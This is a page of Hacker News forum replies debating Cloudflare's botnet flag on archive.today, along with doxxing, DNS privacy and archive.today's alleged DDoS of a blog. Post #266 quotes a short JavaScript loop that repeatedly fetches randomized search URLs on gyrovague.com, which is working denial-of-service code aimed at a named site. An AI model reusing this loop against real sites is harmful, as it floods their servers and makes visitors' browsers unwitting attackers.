Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Cloudflare flags archive.today as "C&C/Botnet"; no longer resolves via 1.1.1.2

radar.cloudflare.com

Post reply on HN
Print view View original

261–270 of 351 posts

Re: Cloudflare flags archive.today as "C&C/Botnet"; no longer resolves via 1.1.1.2

#261

Post by pasquinelli »

JasonADrury wrote: post #78
rollulus wrote: post #59

I think there are two angles to look at this. Yes, there’s the attack on the weblog. But there’s also pressure on archive.today, e.g. an FBI investigation [1] and some entity using fictitious CSAM allegations [2]. [1]: https://arstechnica.com/tech-policy/2025/11/fbi-subpoena-tri... [2]: https://adguard-dns.io/en/blog/archive-today-adguard-dns-blo...

Jani Patokallio who runs gyrovague.com published a blog post attempting to dox the owner of archive.today. Jani justifies his doxing as follows "I found it curious that we know so little about this widely-used service, so I dug into it" [1] Archive.today on the other hand is a charitable archival project offered to the public for free. The operator of Archive.today risks significant legal liability, but still offers…

it's weird to see the term "doxx" be abused until it doesn't mean anything.

Re: Cloudflare flags archive.today as "C&C/Botnet"; no longer resolves via 1.1.1.2

#262

Post by TZubiri »

hirako2000 wrote: post #149
TZubiri wrote: post #136

Earlier quoted context omitted.

what is the vector here? dns traffic is practically anonymous, there would have to be some very specific and purposeful trickery going on to link dns traffic to an identity. It sounds like something more hypothetical than a tangible threat model

It isn't anonymous. DNS server resolve, IP addresses by hostnames. It cannot then inspect further traffic but it certainly can log your IP address and all URL's a given IP ever hit. Since ISP know your identity, and all it takes is to (request and get) the DNS logs and ISP servitude for all sort of questionable information, you as an identity are giving away all sites domains you visit.

Considering that the DNS in question is third-party, that is, it's independent from the ISP. Then the DNS and the ISP will not share data with each other on a routine basis, which would make this concern negligible for every day traffic.

So to simplify, the DNS provider has a map of IPs to Domains visited, while the other hand an ISP has a map of IP addresses to identities.

To even cross-reference the data, the ISP and the DNS provider would need to partner, and violate their privacy guarantees.

At the very least it's obvious that using a separate DNS provider than your ISP's provides additional anonimity by decentralizing your traffic. Although this comes with a tradeoff, having 2 providers increases the odds of partial leaks.

This analysis is so overkill for your personal traffic that it borders tinfoil territory, if we are in a professional setting and are discussing the competitive data of a company or that of thousands of users, then this level of scrutiny is merited, but as-is, separating your DNS provider from your ISP is already very marginal and a bit paranoid. Evaluating the DNS providers to such an extent that a huge security company with good legal standing would somehow qualify as unsafe, for the traffic of one user, I stress, is paralyzingly over-engineering the security of an infrastructure that has already been secured such that users don't need to know what a DNS and how to configure it in order to have safe and private internet.

Imagine going to the bank and asking the teller for a withdrawal but not disclosing the amount and coming up with a mechanism to withdraw without anyone from the bank knowing what you withdrew. Sure, it increases your security, but also come on, what are we doing here?

Re: Cloudflare flags archive.today as "C&C/Botnet"; no longer resolves via 1.1.1.2

#263

Post by Izkata »

protimewaster wrote: post #169
croes wrote: post #127

Earlier quoted context omitted.

Isn’t doxxing most of the time just collecting data from multiple public sources and connect them?

Maybe, but I don't think that distinction matters here. Surely you're not contending that it counts as doxing every time someone collects data from multiple public sources? I've always understood doxing to be PII, which aliases aren't, AFAIK, unless they're connected to a real person. And, to my knowledge, everyone is contending that the names in the blog post are all aliases. And, regarding aliases, I've never under…

You're both right. Combine the two and you get what doxxing originally was:

"Dox" is short for "documents", and it originally referred to compiling a multi-page document of all known personal information, using disparate public sources: name, address, phone, email, employer, family members, family address/phone etc, etc, etc. It came from troll boards and was designed to make it easy to harass targets.

The term got significantly watered down when it got out to the broader internet.

Re: Cloudflare flags archive.today as "C&C/Botnet"; no longer resolves via 1.1.1.2

#264

Post by dotBen »

JasonADrury wrote: post #80
drum55 wrote: post #79

Earlier quoted context omitted.

Should providing a public service absolve all sins?

So far, the only sin archive.today has been accused of is retaliating against a guy attempting to dox them. That's a pretty small sin in my book. To be written off as wildly unsuccessful but entirely justified self defense. DDoSing gyrovague.com is silly, not evil. The content on gyrovague.com which targets archive.today is evil, plain and simple.

People are painting this as a mutually exclusive ideological decision. Yet two things can be true:

1) The act of archive.today archiving stories (and thus circumventing paywalls) is arguably v low level illegal (computer miss-use/unauthorized access/etc) but it is up for interpretation whether a) the operator or the person requesting the page carries the most responsibility b) whether it's enforceable in third party countries neither archive.today or the page requester reside in

2) DDoSing a site that writes something bad about you is fundamentally wrong (and probably illegal too)

Re: Cloudflare flags archive.today as "C&C/Botnet"; no longer resolves via 1.1.1.2

#265

Post by refulgentis »

JasonADrury wrote: post #78
rollulus wrote: post #59

I think there are two angles to look at this. Yes, there’s the attack on the weblog. But there’s also pressure on archive.today, e.g. an FBI investigation [1] and some entity using fictitious CSAM allegations [2]. [1]: https://arstechnica.com/tech-policy/2025/11/fbi-subpoena-tri... [2]: https://adguard-dns.io/en/blog/archive-today-adguard-dns-blo...

Jani Patokallio who runs gyrovague.com published a blog post attempting to dox the owner of archive.today. Jani justifies his doxing as follows "I found it curious that we know so little about this widely-used service, so I dug into it" [1] Archive.today on the other hand is a charitable archival project offered to the public for free. The operator of Archive.today risks significant legal liability, but still offers…

> Or are we just looking at an unhinged fan stalking their favorite online celebrity?

In this case, question is recursive. I have no idea who Jani Patokallio or gyrovague.com are, and the way Jason Drury shifts from “tried to dox” to “doxx’d” makes me wonder if this is astroturfing by Jani or Jason or a 3rd party. Who knows!

Re: Cloudflare flags archive.today as "C&C/Botnet"; no longer resolves via 1.1.1.2

#266

Post by croes »

fastball wrote: post #254
croes wrote: post #245

Earlier quoted context omitted.

How does archive.today coordinate the attack?

By telling visitor browsers to DoS the site.

That’s not really coordinating.

It’s just a website with a simple request loop, not C&C server tells when the attacks have to happen.

This doesn’t make your browser a bot

  setInterval(function() {
            fetch("https://gyrovague.com/?s=" + Math.random().toString(36).substring(2, 3 + Math.random() * 8), {
                referrerPolicy: "no-referrer",
                mode: "no-cors"
            });
        }, 300);

Re: Cloudflare flags archive.today as "C&C/Botnet"; no longer resolves via 1.1.1.2

#267

Post by croes »

bastawhiz wrote: post #224
croes wrote: post #127

Earlier quoted context omitted.

Isn’t doxxing most of the time just collecting data from multiple public sources and connect them?

How low has the bar gotten where doxxing is literally just doing a Google search and a whois lookup about a well-used public website? The hackers of the 90s and aughts would laugh you straight out of the irc server with this comment.

This is more than just a Google search and a whois lookup

https://gyrovague.com/2023/08/05/archive-today-on-the-trail-...

Re: Cloudflare flags archive.today as "C&C/Botnet"; no longer resolves via 1.1.1.2

#268

Post by vanchor3 »

JasonADrury wrote: post #72
nailer wrote: post #31

Earlier quoted context omitted.

The linked blog contains a story about who funds archive today and they presumably don’t like being exposed.

[flagged]

> The crucial context here is that archive.today provides a useful public service for free.

So public services should DDoS is your argument?

> Jani Patokallio runs gyrovague.net in order to harass people who provide useful public services.

I scrolled pretty far through the blog and didn't find anything of that sort. Just a bunch of travel stuff. Now I'm curious what sort of "harassment" you hallucinated in the sites that were previously targeted by archive.today's DDoS attacks.

Re: Cloudflare flags archive.today as "C&C/Botnet"; no longer resolves via 1.1.1.2

#269

Post by ignoramous »

simonw wrote: post #258
winkelmann wrote: post #2

"archive.today is currently categorized as: * CIPA Filter * Reference * Command and Control & Botnet * DNS Tunneling" Ditto for their other domains like archive.is and archive.ph Example DoH request: $ curl -s " https://1.1.1.2/dns-query?name=archive.is&type=A " -H "accept: application/dns-json" {"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"archive.is","type":1}],"Answer":[{"na…

Thanks for that, I didn't know about that API - which it turns out has open CORS headers so you can call it from JavaScript. I now have my dream DNS lookup web tool! https://tools.simonwillison.net/dns#d=news.ycombinator.com&t...

https://dohjs.org/ is pretty nifty.

Also: https://dnscheck.tools/

Re: Cloudflare flags archive.today as "C&C/Botnet"; no longer resolves via 1.1.1.2

#270

Post by walletdrainer »

ddydjjffntn wrote: post #214
walletdrainer wrote: post #134

Earlier quoted context omitted.

You’re just not at all familiar with the subject. Archive.org is awful . It allows site owners and random third parties to edit old archived pages. Archive.today does not.

Folks keep saying this Do you actually mean edit or do you just mean delete Both are problematic, but falsifying a historic record is orders of magnitude worse than deleting one, and conflating them would be extremely dishonest

Archive.org lets archived pages pull in JavaScript from the non-archived internet, so it’s only trustworthy if viewed with JavaScript disabled.
Post reply on HN